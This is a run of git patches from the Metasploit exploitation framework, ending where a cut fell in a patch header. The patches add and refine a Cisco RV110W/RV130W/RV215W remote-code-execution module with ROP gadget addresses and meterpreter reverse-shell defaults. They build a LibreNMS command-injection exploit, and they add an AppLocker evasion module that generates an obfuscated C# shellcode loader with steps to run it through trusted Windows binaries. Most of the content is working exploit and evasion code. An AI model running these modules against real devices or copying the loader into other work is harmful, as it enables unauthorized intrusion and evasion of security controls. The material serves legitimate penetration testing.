modules/exploits/linux/http/cisco_rv130_rmi_rce.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb index 0bb19f9b33..4b773377f6 100644 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -18,6 +18,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager + include Msf::Module::Deprecated + + deprecated(Date.new(2019, 8, 1), 'exploit/linux/http/cve_2019_1663_cisco_rmi_rce') def initialize(info = {}) super(update_info(info, From 2e79314d7b476b7b64b70659213b40fc152f08f0 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sat, 27 Jul 2019 11:09:34 +0200 Subject: [PATCH 034/217] Updated documentation. --- .../linux/http/cve_2019_1663_cisco_rmi_rce.md | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/cve_2019_1663_cisco_rmi_rce.md diff --git a/documentation/modules/exploit/linux/http/cve_2019_1663_cisco_rmi_rce.md b/documentation/modules/exploit/linux/http/cve_2019_1663_cisco_rmi_rce.md new file mode 100644 index 0000000000..5cdd482bba --- /dev/null +++ b/documentation/modules/exploit/linux/http/cve_2019_1663_cisco_rmi_rce.md @@ -0,0 +1,25 @@ +# Cisco RV110W/RV130W/RV215W Routers Management Interface Remote Command Execution + +A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. + +The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. + +A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user. + +## Vulnerable Device + +* RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected. +* RV130 Multifunction VPN Router versions prior to 1.0.3.45 are affected. +* RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. +* RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected. + +## Verification Steps + +1. Start msfconsole +2. ```use exploit/linux/http/cve_2019_1663_cisco_rmi_rce``` +3. ```set rhost [IP]``` +4. ```set payload linux/armle/meterpreter_reverse_tcp``` +5. ```set lhost [IP]``` +6. ```exploit``` +7. You should get a session + From 1faa1786c6f8109a696edf177b5f5b64fff2ebf3 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Mon, 29 Jul 2019 10:28:07 -0500 Subject: [PATCH 035/217] add test request --- .../http/librenms_connectd_cmd_inject.rb | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb index 83ed0f67f3..fd495f9b44 100644 --- a/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb +++ b/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb @@ -55,6 +55,30 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50') end + def get_device_id + dev_uri = normalize_uri(target_uri.path, 'devices') + + dev_res = send_request_cgi('method' => 'GET', 'uri' => dev_uri) + fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200 + end + def exploit + req_uri = normalize_uri(target_uri.path, 'graphs', '/') + + dev_id = get_device_id + send_request_cgi( + 'method' => 'GET', + 'uri' => req_uri, + 'vars_get' => + { + 'device' => '122', + 'type' => 'device_collectd', + 'to' => 'blah', + 'from' => 'blah', + 'c_plugin' => 'test', + 'c_type' => 'cpu', + 'c_type_instance' => 'collectd' + } + ) end end From bc3f87a9502ce3238564107413e18f6abafa5419 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Wed, 31 Jul 2019 16:31:22 -0500 Subject: [PATCH 036/217] add login and device id code --- .../http/librenms_connectd_cmd_inject.rb | 87 +++++++++++++++++-- 1 file changed, 78 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb index fd495f9b44..f077cf7270 100644 --- a/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb +++ b/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb @@ -24,15 +24,23 @@ class MetasploitModule < Msf::Exploit::Remote [ 'CVE', '2019-10669' ], [ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ] ], - 'Payload' => { }, - 'Targets' => [ [ 'Linux', { } ] ], + 'Targets' => + [ + [ 'Linux', + { + 'Platform' => 'linux' + } + ] + ], 'DisclosureDate' => "2019-07-15", 'DefaultTarget' => 0 )) register_options( [ - OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]) + OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]), + OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]), + OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ]) ]) end @@ -55,30 +63,91 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50') end - def get_device_id - dev_uri = normalize_uri(target_uri.path, 'devices') + def login + login_uri = normalize_uri(target_uri.path, 'login') + res = send_request_cgi('method' => 'GET', 'uri' => login_uri) + fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200 + + cookies = res.get_cookies + login_res = send_request_cgi( + 'method' => 'POST', + 'uri' => login_uri, + 'cookie' => cookies, + 'vars_post' => + { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + ) + + fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302 + + cookies = login_res.get_cookies + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'cookie' => cookies + ) + + print_status('Successfully logged into LibreNMS. Storing credentials...') + store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) + login_res.get_cookies + end + + def get_device_id + dev_uri = normalize_uri(target_uri.path, 'ajax_table.php') + + dev_res = send_request_cgi( + 'method' => 'POST', + 'uri' => dev_uri, + 'cookie' => @cookies, + 'vars_post' => + { + 'id' => 'devices', + 'format' => '+list_detail', + 'current' => '1', + 'sort[hostname]' => 'asc', + 'rowCount' => 50 + } + ) - dev_res = send_request_cgi('method' => 'GET', 'uri' => dev_uri) fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200 + + json = JSON.parse(dev_res.body) + fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty? + + json = json['rows'] + fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty? + + json = json.first.nil? ? nil : json.first['hostname'] + fail_with(Failure::NotFound, 'Unable to find hostname data') if json.nil? + + dev_id = json.match('href=\"device\/device=(\d+)\/') + fail_with(Failure::NotFound, 'Failed to retrieve device id') unless dev_id && dev_id.length > 1 + + dev_id end def exploit req_uri = normalize_uri(target_uri.path, 'graphs', '/') + @cookies = login dev_id = get_device_id - send_request_cgi( + res = send_request_cgi( 'method' => 'GET', 'uri' => req_uri, + 'cookie' => @cookies, 'vars_get' => { - 'device' => '122', + 'device' => dev_id, 'type' => 'device_collectd', 'to' => 'blah', - 'from' => 'blah', + 'from' => '', 'c_plugin' => 'test', 'c_type' => 'cpu', 'c_type_instance' => 'collectd' } ) + end end From c8050adab2b7b71e22fdc0beb3a2b67fda2bff9b Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Thu, 1 Aug 2019 08:40:30 +0100 Subject: [PATCH 037/217] add module applocker_evasion_presentationhost --- .../applocker_evasion_presentationhost.rb | 167 ++++++++++++++++++ 1 file changed, 167 insertions(+) create mode 100644 modules/evasion/windows/applocker_evasion_presentationhost.rb diff --git a/modules/evasion/windows/applocker_evasion_presentationhost.rb b/modules/evasion/windows/applocker_evasion_presentationhost.rb new file mode 100644 index 0000000000..e2c57f06e7 --- /dev/null +++ b/modules/evasion/windows/applocker_evasion_presentationhost.rb @@ -0,0 +1,167 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Evasion + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Applocker Evasion - Windows Presentation Foundation Host', + 'Description' => %( + This module will assist you in evading Microsoft + Windows Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binary + PresentationHost.exe to execute user supplied code. + ), + 'Author' => + [ + 'Nick Tyrer <@NickTyrer>', # module development + 'Casey Smith' # presentationhost bypass research + ], + 'License' => 'MSF_LICENSE', + 'Platform' => 'win', + 'Arch' => [ARCH_X86], + 'Targets' => [['Microsoft Windows', {}]]) + ) + + register_options( + [ + OptString.new('FILE_ONE', [true, 'Filename for the .xaml.cs file (default: presentationhost.xaml.cs)', 'presentationhost.xaml.cs']), + OptString.new('FILE_TWO', [true, 'Filename for the .manifest file (default: presentationhost.manifest)', 'presentationhost.manifest']), + OptString.new('FILE_THREE', [true, 'Filename for the .csproj file (default: presentationhost.csproj)', 'presentationhost.csproj']) + ] + ) + + deregister_options('FILENAME') + end + + def build_payload + Rex::Text.encode_base64(payload.encoded) + end + + def obfu + Rex::Text.rand_text_alpha 8 + end + + def presentationhost_xaml_cs + esc = build_payload + mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu] + <<~HEREDOC + using System; + class #{mod[0]}{ + static void Main(string[] args){ + IntPtr #{mod[1]}; + #{mod[1]} = GetConsoleWindow(); + ShowWindow(#{mod[1]}, #{mod[2]}); + string #{mod[3]} = "#{esc}"; + byte[] #{mod[4]} = Convert.FromBase64String(#{mod[3]}); + byte[] #{mod[5]} = #{mod[4]}; + IntPtr #{mod[6]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[5]}.Length, #{mod[7]}, #{mod[8]}); + System.Runtime.InteropServices.Marshal.Copy(#{mod[5]}, 0, #{mod[6]}, #{mod[5]}.Length); + IntPtr #{mod[9]} = IntPtr.Zero; + WaitForSingleObject(CreateThread(#{mod[9]}, UIntPtr.Zero, #{mod[6]}, #{mod[9]}, 0, ref #{mod[9]}), #{mod[10]});} + private static Int32 #{mod[7]}=0x1000; + private static IntPtr #{mod[8]}=(IntPtr)0x40; + private static UInt32 #{mod[10]} = 0xFFFFFFFF; + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p); + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id); + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms); + [System.Runtime.InteropServices.DllImport("user32.dll")] + static extern bool ShowWindow(IntPtr #{mod[1]}, int nCmdShow); + [System.Runtime.InteropServices.DllImport("Kernel32")] + private static extern IntPtr GetConsoleWindow(); + const int #{mod[2]} = 0;} + HEREDOC + end + + def presentationhost_manifest + <<~HEREDOC + + + + + + + + + + + + + + + + HEREDOC + end + + def presentationhost_csproj + <<~HEREDOC + + + + + Release + AnyCPU + WinExe + true + true + false + + + true + . + + + + + + + #{datastore['FILE_ONE']} + Code + + + + + + + + HEREDOC + end + + def file_format_filename(name = '') + name.empty? ? @fname : @fname = name + end + + def create_files + f1 = datastore['FILE_ONE'].empty? ? 'presentationhost.xaml.cs' : datastore['FILE_ONE'] + f1 << '.xaml.cs' unless f1.downcase.end_with?('.xaml.cs') + f2 = datastore['FILE_TWO'].empty? ? 'presentationhost.manifest' : datastore['FILE_TWO'] + f2 << '.manifest' unless f2.downcase.end_with?('.manifest') + f3 = datastore['FILE_THREE'].empty? ? 'presentationhost.csproj' : datastore['FILE_THREE'] + f3 << '.csproj' unless f3.downcase.end_with?('.csproj') + file1 = presentationhost_xaml_cs + file2 = presentationhost_manifest + file3 = presentationhost_csproj + file_format_filename(f1) + file_create(file1) + file_format_filename(f2) + file_create(file2) + file_format_filename(f3) + file_create(file3) + end + + def instructions + print_status "Copy #{datastore['FILE_ONE']}, #{datastore['FILE_TWO']} and #{datastore['FILE_THREE']} to the target" + print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['FILE_THREE']}" + print_status "Execute using: C:\\Windows\\System32\\PresentationHost.exe [Full Path To] #{datastore['FILE_ONE'].gsub('.xaml.cs', '.xbap')}" + end + + def run + create_files + instructions + end +end From 107bb3e9ff89e95b18c7fb20b121fea427bb63f5 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Thu, 1 Aug 2019 09:06:35 +0100 Subject: [PATCH 038/217] add documentation --- .../applocker_evasion_presentationhost.md | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 documentation/modules/evasion/windows/applocker_evasion_presentationhost.md diff --git a/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md new file mode 100644 index 0000000000..5fa2b91b67 --- /dev/null +++ b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md @@ -0,0 +1,34 @@ +## Intro + +This module is designed to evade solutions such as software restriction policies and Applocker. +Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories. +Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows" +The main vector for this bypass is to use the trusted binary PresentationHost.exe to execute user supplied code as this binary is located within the trusted Windows directory. + +## Vulnerable Application + +This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block PresentationHost.exe. + +## Options + +- **FILE_ONE** - Filename for the evasive file (default: presentationhost.xaml.cs). +- **FILE_TWO** - Filename for the evasive file (default: presentationhost.manifest). +- **FILE_THREE** - Filename for the evasive file (default: presentationhost.csproj). + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use evasion/windows/applocker_evasion_presentationhost` + 3. Do: `set PAYLOAD ` (note: only x86 payloads are supported by this module) + 4. Do: `run` + 5. The module will now display instructions of how to proceed + 6. `[+] presentationhost.xaml.cs stored at /root/.msf4/local/presentationhost.xaml.cs` + 7. `[+] presentationhost.manifest stored at /root/.msf4/local/presentationhost.manifest` + 8. `[+] presentationhost.csproj stored at /root/.msf4/local/presentationhost.csproj` + 9. `[*] Copy presentationhost.xaml.cs, presentationhost.manifest and presentationhost.csproj to the target` + 8. `[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\MSBuild.exe presentationhost.csproj` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + 9. `[*] Execute using: C:\Windows\System32\PresentationHost.exe [Full Path To] presentationhost.xbap` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319") and replace [Full Path To] with the full path to the .xbap. + +## References + +https://medium.com/tsscyber/applocker-bypass-presentationhost-exe-8c87b2354cd4 From af5e071abe15377b44b67c128f9d5749bf330037 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Thu, 1 Aug 2019 20:46:09 +0100 Subject: [PATCH 039/217] update documentation --- .../evasion/windows/applocker_evasion_presentationhost.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md index 5fa2b91b67..7e11b32433 100644 --- a/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md +++ b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md @@ -26,9 +26,11 @@ This evasion will work on all versions of Windows that include .NET versions 3.5 7. `[+] presentationhost.manifest stored at /root/.msf4/local/presentationhost.manifest` 8. `[+] presentationhost.csproj stored at /root/.msf4/local/presentationhost.csproj` 9. `[*] Copy presentationhost.xaml.cs, presentationhost.manifest and presentationhost.csproj to the target` - 8. `[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\MSBuild.exe presentationhost.csproj` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). - 9. `[*] Execute using: C:\Windows\System32\PresentationHost.exe [Full Path To] presentationhost.xbap` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319") and replace [Full Path To] with the full path to the .xbap. + 10. `[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\MSBuild.exe presentationhost.csproj` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). + 11. `[*] Execute using: C:\Windows\System32\PresentationHost.exe [Full Path To] presentationhost.xbap` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319") and replace [Full Path To] with the full path to the .xbap. ## References https://medium.com/tsscyber/applocker-bypass-presentationhost-exe-8c87b2354cd4 +https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker +https://docs.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies From 610bed8fd9a6d0cc6d0174c60520a421ecf01403 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 2 Aug 2019 10:41:14 +0200 Subject: [PATCH 040/217] && is preferred over and. --- modules/exploits/linux/http/cisco_rv130_rmi_rce.rb | 2 +- modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb index 4b773377f6..f6784bc461 100644 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -348,7 +348,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(uri, 'lang_pack/EN.js') }) - if res and res.code == 200 + if res && res.code == 200 fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}") if fingerprints.key?(fingerprint) print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}") diff --git a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb index 0bb19f9b33..544e391a28 100644 --- a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb +++ b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb @@ -345,7 +345,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(uri, 'lang_pack/EN.js') }) - if res and res.code == 200 + if res && res.code == 200 fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}") if fingerprints.key?(fingerprint) print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}") From 8085ad3046f14197bd60c06f434d173afce09c41 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 2 Aug 2019 10:47:28 +0200 Subject: [PATCH 041/217] Set default payload based on chosen target. --- .../linux/http/cve_2019_1663_cisco_rmi_rce.rb | 39 ++++++++++++++++++- 1 file changed, 37 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb index 544e391a28..e2b9ea98d3 100644 --- a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb +++ b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb @@ -65,8 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote 'SSL' => true, 'RPORT' => 443, 'CMDSTAGER::FLAVOR' => 'wget', - # TODO: set default payload based on target ? - 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', }, 'Targets' => [ @@ -80,6 +79,9 @@ class MetasploitModule < Msf::Exploit::Remote # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } } ], [ 'Cisco RV110W 1.2.0.9', @@ -92,6 +94,9 @@ class MetasploitModule < Msf::Exploit::Remote # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } } ], [ 'Cisco RV110W 1.2.0.10', @@ -104,6 +109,9 @@ class MetasploitModule < Msf::Exploit::Remote # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } } ], [ 'Cisco RV110W 1.2.1.4', @@ -116,6 +124,9 @@ class MetasploitModule < Msf::Exploit::Remote # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } } ], [ 'Cisco RV110W 1.2.1.7', @@ -128,6 +139,9 @@ class MetasploitModule < Msf::Exploit::Remote # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } } ], [ 'Cisco RV130/RV130W < 1.0.3.45', @@ -138,6 +152,9 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; 'gadget2' => 0x00041308, # mov r0, sp; blx r2; 'Arch' => ARCH_ARMLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', + } }, ], [ 'Cisco RV215W 1.1.0.5', @@ -150,6 +167,9 @@ class MetasploitModule < Msf::Exploit::Remote # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } } ], [ 'Cisco RV215W 1.1.0.6', @@ -162,6 +182,9 @@ class MetasploitModule < Msf::Exploit::Remote # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } } ], [ 'Cisco RV215W 1.2.0.14', @@ -174,6 +197,9 @@ class MetasploitModule < Msf::Exploit::Remote # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } } ], [ 'Cisco RV215W 1.2.0.15', @@ -186,6 +212,9 @@ class MetasploitModule < Msf::Exploit::Remote # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } } ], [ 'Cisco RV215W 1.3.0.7', @@ -198,6 +227,9 @@ class MetasploitModule < Msf::Exploit::Remote # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } } ], [ 'Cisco RV215W 1.3.0.8', @@ -210,6 +242,9 @@ class MetasploitModule < Msf::Exploit::Remote # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } } ], ], From f675a974a6757640f791f1d6ba1236de0aa020b3 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Fri, 2 Aug 2019 16:29:08 +0100 Subject: [PATCH 042/217] implement changes suggested by @cbrnrd --- .../applocker_evasion_presentationhost.md | 6 ++-- .../applocker_evasion_presentationhost.rb | 36 +++++++++---------- 2 files changed, 21 insertions(+), 21 deletions(-) diff --git a/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md index 7e11b32433..35560054c2 100644 --- a/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md +++ b/documentation/modules/evasion/windows/applocker_evasion_presentationhost.md @@ -11,9 +11,9 @@ This evasion will work on all versions of Windows that include .NET versions 3.5 ## Options -- **FILE_ONE** - Filename for the evasive file (default: presentationhost.xaml.cs). -- **FILE_TWO** - Filename for the evasive file (default: presentationhost.manifest). -- **FILE_THREE** - Filename for the evasive file (default: presentationhost.csproj). +- **CS_FILE** - Filename for the evasive file (default: presentationhost.xaml.cs). +- **MANIFEST_FILE** - Filename for the evasive file (default: presentationhost.manifest). +- **CSPROJ_FILE** - Filename for the evasive file (default: presentationhost.csproj). ## Verification Steps diff --git a/modules/evasion/windows/applocker_evasion_presentationhost.rb b/modules/evasion/windows/applocker_evasion_presentationhost.rb index e2c57f06e7..cec707c46a 100644 --- a/modules/evasion/windows/applocker_evasion_presentationhost.rb +++ b/modules/evasion/windows/applocker_evasion_presentationhost.rb @@ -27,9 +27,9 @@ class MetasploitModule < Msf::Evasion register_options( [ - OptString.new('FILE_ONE', [true, 'Filename for the .xaml.cs file (default: presentationhost.xaml.cs)', 'presentationhost.xaml.cs']), - OptString.new('FILE_TWO', [true, 'Filename for the .manifest file (default: presentationhost.manifest)', 'presentationhost.manifest']), - OptString.new('FILE_THREE', [true, 'Filename for the .csproj file (default: presentationhost.csproj)', 'presentationhost.csproj']) + OptString.new('CS_FILE', [true, 'Filename for the .xaml.cs file (default: presentationhost.xaml.cs)', 'presentationhost.xaml.cs']), + OptString.new('MANIFEST_FILE', [true, 'Filename for the .manifest file (default: presentationhost.manifest)', 'presentationhost.manifest']), + OptString.new('CSPROJ_FILE', [true, 'Filename for the .csproj file (default: presentationhost.csproj)', 'presentationhost.csproj']) ] ) @@ -119,13 +119,13 @@ class MetasploitModule < Msf::Evasion - - #{datastore['FILE_ONE']} + + #{datastore['CS_FILE']} Code - + @@ -137,27 +137,27 @@ class MetasploitModule < Msf::Evasion end def create_files - f1 = datastore['FILE_ONE'].empty? ? 'presentationhost.xaml.cs' : datastore['FILE_ONE'] + f1 = datastore['CS_FILE'].empty? ? 'presentationhost.xaml.cs' : datastore['CS_FILE'] f1 << '.xaml.cs' unless f1.downcase.end_with?('.xaml.cs') - f2 = datastore['FILE_TWO'].empty? ? 'presentationhost.manifest' : datastore['FILE_TWO'] + f2 = datastore['MANIFEST_FILE'].empty? ? 'presentationhost.manifest' : datastore['MANIFEST_FILE'] f2 << '.manifest' unless f2.downcase.end_with?('.manifest') - f3 = datastore['FILE_THREE'].empty? ? 'presentationhost.csproj' : datastore['FILE_THREE'] + f3 = datastore['CSPROJ_FILE'].empty? ? 'presentationhost.csproj' : datastore['CSPROJ_FILE'] f3 << '.csproj' unless f3.downcase.end_with?('.csproj') - file1 = presentationhost_xaml_cs - file2 = presentationhost_manifest - file3 = presentationhost_csproj + cs_file = presentationhost_xaml_cs + manifest_file = presentationhost_manifest + csproj_file = presentationhost_csproj file_format_filename(f1) - file_create(file1) + file_create(cs_file) file_format_filename(f2) - file_create(file2) + file_create(manifest_file) file_format_filename(f3) - file_create(file3) + file_create(csproj_file) end def instructions - print_status "Copy #{datastore['FILE_ONE']}, #{datastore['FILE_TWO']} and #{datastore['FILE_THREE']} to the target" - print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['FILE_THREE']}" - print_status "Execute using: C:\\Windows\\System32\\PresentationHost.exe [Full Path To] #{datastore['FILE_ONE'].gsub('.xaml.cs', '.xbap')}" + print_status "Copy #{datastore['CS_FILE']}, #{datastore['MANIFEST_FILE']} and #{datastore['CSPROJ_FILE']} to the target" + print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['CSPROJ_FILE']}" + print_status "Execute using: C:\\Windows\\System32\\PresentationHost.exe [Full Path To] #{datastore['CS_FILE'].gsub('.xaml.cs', '.xbap')}" end def run From 817726699c2c7a24352d43ef85802ce5ba1b840e Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Fri, 2 Aug 2019 